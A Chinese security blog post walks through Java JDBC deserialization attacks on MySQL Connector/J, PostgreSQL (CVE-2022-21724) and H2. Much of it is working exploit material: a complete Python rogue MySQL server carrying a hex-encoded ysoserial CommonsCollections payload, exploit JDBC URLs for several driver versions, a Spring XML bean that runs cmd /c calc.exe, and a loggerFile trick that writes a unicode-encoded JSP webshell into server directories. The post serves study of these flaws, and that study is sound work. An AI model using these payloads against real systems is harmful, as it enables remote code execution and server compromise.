java反序列化之JDBC

Sherlock2025-04-062025-04-18

引用

JDBC简介

BC（Java DataBase Connectivity）是一种用于执行Sql语句的Java Api，即Java数据库连接，是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口，可以为多种关系数据库提供统一访问，提供了诸如查询和更新数据库中数据的方法，是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现

原理分析

简单demo

首先我们先在maven引入依赖

<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>

我们试着用jdbc来查询一下我们自己本机上的表

package org.example;

import java.sql.*;//导入API所需包

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
//JDBC驱动程序
        String driver = "com.mysql.cj.jdbc.Driver";
        //String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
//数据库连接URL以及相关配置
        String url = "jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=UTC&autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor";
//加载驱动类
        Class.forName(driver);
//通过 Drivermanager 类获取数据库连接的实例
        Connection connection = DriverManager.getConnection(url,"root","123456");
//利用createStatement接口获取一个statement对象，用于执行sql语句
        Statement statement = connection.createStatement();
//执行sql语句，将结果保存在ResultSet对象中
        ResultSet resultSet = statement.executeQuery("SELECT * FROM users");
//将结果集输出出来
        while (resultSet.next()){
            String username = resultSet.getString("name");
            String password = resultSet.getString("age");
            System.out.println(" username:"+username+" password:"+password);
        }
//        System.out.println(connection);
    }
}

说一下数据库连接的一些配置吧

admin就是所需要连接的数据库名称

serverTimezone=UTC 指定了数据库服务器的时区为协调世界时（UTC）没有正确的时间处理，运行是会报错的

autoDeserialize=true 表明从数据库中检索数据会自动反序列化，这个设置很重要，设置为false就没法利用了

statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 指定了一个Mysql的语句拦截器，用于在执行sql语句前处理特殊事件

查询结果如下

java序列化对象特征

我们也简单写一个demo

package org.example;

import java.io.*;

public class Car implements Serializable {

    private String name;
    public Car(){
        this.name ="car";
    }

    public static void main(String[] args) throws IOException, FileNotFoundException {
        Car car=new Car();
        FileOutputStream fos =new FileOutputStream("output");
        ObjectOutputStream oos =new ObjectOutputStream(fos);
        oos.writeObject(car);
        oos.close();
    }
}

输出output文件后，再用专门的软件进行查看该16进制文件

可以看出来序列化文件的前两个字节固定为-84和-19，这一点在后面有重大作用

readObject触发点

这次就不跟着走一遍流程了，直接说重点，漏洞点在于com.mysql.cj.jdbc.result.ResultSetImpl.getObject()

public Object getObject(int columnIndex) throws SQLException {
        checkRowPos();
        checkColumnBounds(columnIndex);

        int columnIndexMinusOne = columnIndex - 1;

        // we can't completely rely on code below because primitives have default values for null (e.g. int->0)
        if (this.thisRow.getNull(columnIndexMinusOne)) {
            return null;
        }

        Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
        switch (field.getMysqlType()) {
            case BIT:
                // TODO Field sets binary and blob flags if the length of BIT field is > 1; is it needed at all?
                if (field.isBinary() || field.isBlob()) {
                    byte[] data = getBytes(columnIndex);

                    if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
                        Object obj = data;

                        if ((data != null) && (data.length >= 2)) {
                            if ((data[0] == -84) && (data[1] == -19)) {
                                // Serialized object?
                                try {
                                    ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                    ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                    obj = objIn.readObject();
                                    objIn.close();
                                    bytesIn.close();
                                } catch (ClassNotFoundException cnfe) {
                                    throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
                                            + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
                                } catch (IOException ex) {
                                    obj = data; // not serialized?
                                }
                            } else {
                                return getString(columnIndex);
                            }
                        }

                        return obj;
                    }

                    return data;
                }

                return field.isSingleBit() ? Boolean.valueOf(getBoolean(columnIndex)) : getBytes(columnIndex);
                ......

关键点如下：

在进入反序列化之前先进行了一个判断if ((data[0] == -84) && (data[1] == -19))

是不是特别的熟悉，就是上面着重提到的那两个数字

先判断是否为序列化对象，是的话才能够进入并调用readObject方法

查找getObject的用法

在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()中调用了，跟进看看：

跟进ResultSetUtil.resultSetToMap(toPopulate, rs);，调用了getObject方法

很好，现在我们只需要搞清楚上面的toPopulate和rs究竟是什么就可以了

toPopulate是一个Map类型的数据

rs实际上是服务端执行SQL语句SHOW SESSION STATUS后返回的结果，那么这就让我们不由得联想恶意mysql服务端了，如果有这么一个evil mysql，可以控制rs的值，那么可能就可以触发反序列化链了

我们回到前面的getObject方法中，在判断是否是序列化对象之前还进行了一个判断，校验autoDeserialize的值是否为true，这也是JDBC URL中为啥要特地声明该值为true的原因

Mysql认证报文

先写一手客户端代码

package org.example;

import java.sql.*;

public class Client {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String Driver = "com.mysql.cj.jdbc.Driver";

        String DB_URL = "jdbc:mysql://127.0.0.1:3306/admin?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&serverTimezone=GMT%2B8";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL,"root","123456");
    }
}

然后要用wireshark进行抓包，因为是抓本地的包，所以过滤器要选择这个

过滤条件为tcp.port ==3306 && mysql：

不难发现其实mysql也是有类似tcp一样的认证系统的，有Request和Response，简单的看一个Response OK包：

MYSQL Protocol就是认证报文了为0700000200000002000000，也就是说我们恶意服务端只需要将该数据返回给Request即可完成认证，再看看问候(greeting)报文：

直接发送原始数据即可，恶意服务端可以将这部分改为恶意payload，之后进行反序列化

ServerStatusDiffInterceptor链

8.0.7-8.0.20

上面讲的其实就是该链

所以我们继续顺着上面的思路走，需要准备一个恶意mysql服务端：

import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a 
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                //获取payload
                payload_content=get_payload_content()
                //计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                //计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

上面poc的编写中，除了show session status的响应包外，剩下的包都可以直接按流量包总的数据直接抄过来的

show session status响应包的编写

刚开始觉得是不需要了解MYSQL私有协议的，结果我错了。如果要自己编写POC，还是要看得懂的。这里会简单分析一下。
从流量中可以看出来show session status属于request Query 报文。对于查询数据包的响应包可以分为四种：错误包（ERR Packet）、正确包（OK Packet）、 Protocol::LOCAL_INFILE_Request、结果集（ProtocolText::Resultset）。我们上面看到的Response OK数据包就是OK packet。
这一部分我们主要是用的是结果集这个数据包。这里给出官方例子
结果集响应包的结构如图所示

上面的官方图说明了一个结果集响应包的结构。

数据段1：说明下面的结果集有多少列
数据段2：列的定义
数据段3： EOF 包
数据段4：行数据

数据段的结构也是相似的。长度（3字节）序号（1字节）协议数据（不同协议，数据不同）

数据段1就可以写成01 00 00 01 02 前三字节表示数据长度为1，sequence id为1，最后一字节02表示有两列（因为尝试写一列无法正常运行）

数据段2列的定义就比较复杂了。拿我写好的数据直接分析吧1a000002036465660001630163016301630c3f00ffff0000fcffff000000

1a 00 00  //3字节表示长度（这个长度说的是协议的内容长度，不包括序号那一字节）
02      //序号 因为是第二个数据字段
03646566  // 这个就是def的意思
00   //schema 协议因为不使用就用00
01 63  //table 因为我们使用列数据，就不需要名字了，下面几个都是任意字符。字符串第一字节是用来说明长度的
01 63  //org_table  01表示1字节，63是数据
0163    //name  
0163   //org_name
0c      filler  // length of the following fields 总是0x0c
3f00   //characterset  字符编码 003f是binary 
ffff0000  column_length //允许数据最大长度，就是我们行数据的最大长度。ffff
fc    //column_type 这一列数据类型  fc表示blob  
9000    //flags  9000用的官方的 poc可以运行。  看fnmsd的要大于128好像。
00          //decimals
0000        //filler_2

我的POC没有写 EOF包，不知道为什么加上就无法复现成功。（希望有人解答）
数据字段4就是POC了。POC其实和上面一样的。计算出长度（3字节）序号（1字节）行数据（行数据第一个字节是数据的长度）
POC使用ysoserial 。 java -jar ysoserial [common7那个] "calc" > a

有了上面的知识再去看POC就很简单了

客户端代码

import java.sql.*;

public class Client {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(DB_URL);

    }
}

由于上面恶意mysql服务端用上的是cc链，所以要确保客户端代码处有添加cc依赖（笔者漏了这一点导致当初被卡了好久）

跟着调试一手

跟进getConnection方法

又调用了一个getConnection方法，继续跟进

一直往下走

跟进connect方法

继续跟进getInstance方法

初始化ConnectionImpl，参数hostInfo就是恶意mysql服务端的一些数据

跟进，前面大部分代码都是初始化以及赋值，进入initializeSafeQueryInterceptors();初始化请求监听器

再往下走到createNewIO方法

跟进去

跟进connectTryOnly方法，往下走到此处

跟进去，发现拦截器是我们在参数queryInterceptors指定的ServerStatusDiffInterceptor类

返回，继续往下走，继续初始化initializePropsFromServer();

跟进去，往下走

跟进handleAutoCommitDefaults();

调用setAutoCommit方法，跟进去，继续往下走

调用execSQL执行SQL语句，跟进，往下走

发送SQL请求数据包，跟进sendQueryString方法

跟进

调用invokeQueryInterceptorsPre方法，跟进

调用preProcess方法，其参数sql就是设置autocommit的值为true，跟进

跟进populateMapWithSessionStatusValues方法

熟悉吧，就是前面我们提到的漏洞点

调用ResultSetUtil.resultSetToMap(toPopulate, rs)，这里的rs就是恶意的SQL服务端返回的数据

然后就是调用getObject进行反序列化，这就是最开始分析的一条链子，这里的jdbc版本是8,低版本大致流程也是这样，只有少数异同点，但最后都是进入getObject方法触发反序列化

5.1.0-5.1.10

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);
String sql = "select database()";
PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作，返回的是数据库结果集的数据表
ResultSet resultSet = ps.executeQuery();

payload如上

5.1.11-5.x.xx

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

6.x

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
String username = "yso_CommonsCollections4_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

8.20以后

这以后进入populateMapWithSessionStatusValues后不会再调用getObject，因此直接GG

detectCustomCollations链

详见：https://boogipop.com/2023/03/11/WebDog%E5%BF%85%E5%AD%A6%E7%9A%84JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E4%B8%89%E3%80%81detectCustomCollations%E9%93%BE

感觉利用范围不是很大，先旷，后面有用到再学。。。。。。

PostgreSQL

postgresql简单使用：https://www.runoob.com/postgresql/windows-install-postgresql.html

同理PostgreSQL的property也存在安全问题CVE-2022-21724

在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时，使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassName、sslhostnameverifier、socketFactory 、sslfactory、sslpasswordcallback 连接属性提供类名实例化插件实例。但是，驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

影响范围：

　　9.4.1208 <=PgJDBC <42.2.25

　　42.3.0 <=PgJDBC < 42.3.2

这里主要记录两个点

socketFactory / socketFactoryArg 等property调用有参构造触发的RCE
loggerLevel / loggerFile 日志功能写文件

所需依赖

<dependencies>
    <!-- PostgreSQL JDBC 驱动（漏洞版本） -->
    <dependency>
        <groupId>org.postgresql</groupId>
        <artifactId>postgresql</artifactId>
        <version>42.3.1</version>
    </dependency>

    <!-- Spring 上下文（用于解析恶意 XML） -->
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-context</artifactId>
        <version>5.3.16</version>
    </dependency>
</dependencies>

socketFactory/socketFactoryArg

恶意xml文件，利用了 Spring 框架的依赖注入机制来执行 Windows 系统命令（弹出计算器 calc.exe）

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- Windows 环境下调用 calc.exe -->
    <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>cmd</value> 
                <value>/c</value>
                <value>calc.exe</value> 
            </list>
        </constructor-arg>
    </bean>
</beans>

测试代码

public class AttackPgsqlsocketFactory {

    public static void main(String[] args) throws Exception {

        String URL = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8001/calc.xml";
        DriverManager.registerDriver(new Driver());
        Connection connection = DriverManager.getConnection(URL);
        connection.close();
    }
}

调试

堆栈如下：

instantiate:62, ObjectFactory (org.postgresql.util)
getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:14, AttackPgsqlsocketFactory (org.example)

跟进getConnection方法之后，一直往下走

跟进connect方法，前面做了一定的判断之后，往下走

跟进parseURL方法，该方法是对jdbc字符串进行处理

以indexof?作为分割符，拿到properties参数，后续将结果保存为Properties对象返回

返回后继续往下走，跟进makeConnection方法，顾名思义就是要开始建立联系

跟进PgConnection方法

又进行了一次赋值之后，继续往下走

跟进openConnection方法

初始化一个ConnectionFactory对象之后，调用其openConnectionImpl方法，跟进去

跟进getSocketFactory方法，先从前面解析jdbc串时 return的Properties对象中，获取socketFactory的类名，也就是org.springframework.context.support.ClassPathXmlApplicationContext

之后调用instantiate对其实例化处理，也就是漏洞触发点

这里是一个任意类实例化的点，可以调用只有1个入参，参数类型为String的有参构造进行实例化

弹出计算器

loggerLevel/loggerFile

poc

1
2
3

jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=\u003c\u0025\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u006f\u0070\u0065\u006e\u0020\u002d\u0061\u0020\u0063\u0061\u006c\u0063\u0075\u006c\u0061\u0074\u006f\u0072\u0022\u0029\u007d\u003b\u0025\u003e&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp

driver=org.postgresql.Driver&url=jdbc:postgresql://172.16.105.1/test/?loggerLevel=DEBUG&loggerFile=../webapps/ROOT/static/555.jsp&<%! \uxxx\uxxx%><%\uxxx%> =&user=test&pwd=123123

这个点不算复杂的，是log功能写文件，只是提一下写shell需要注意的一个地方,文件内容在下图地方会有一个处理

这里构造数据包时可以通过unicode编码shell内容=来进行shell写入，通过本身代码逻辑，让=截断掉前面的shell内容绕过URLDecoder的处理。其他的方式应该也可以，只要让=第一次出现的位置位于shell内容后面或者shell内容中不存在会让URLDecoder.decode抛异常的字符即可。

例如

1	<%! \uxxx\uxxx%><%\uxxx%>

H2

h2配置

1 2	spring.h2.console.enabled=true spring.h2.console.settings.web-allow-others=true

而h2本身的console界面也是可以通过jdbc连接串来进行jndi利用的

https://www.cnblogs.com/CoLo/p/17051019.html#h2

先搁一下。。。。。。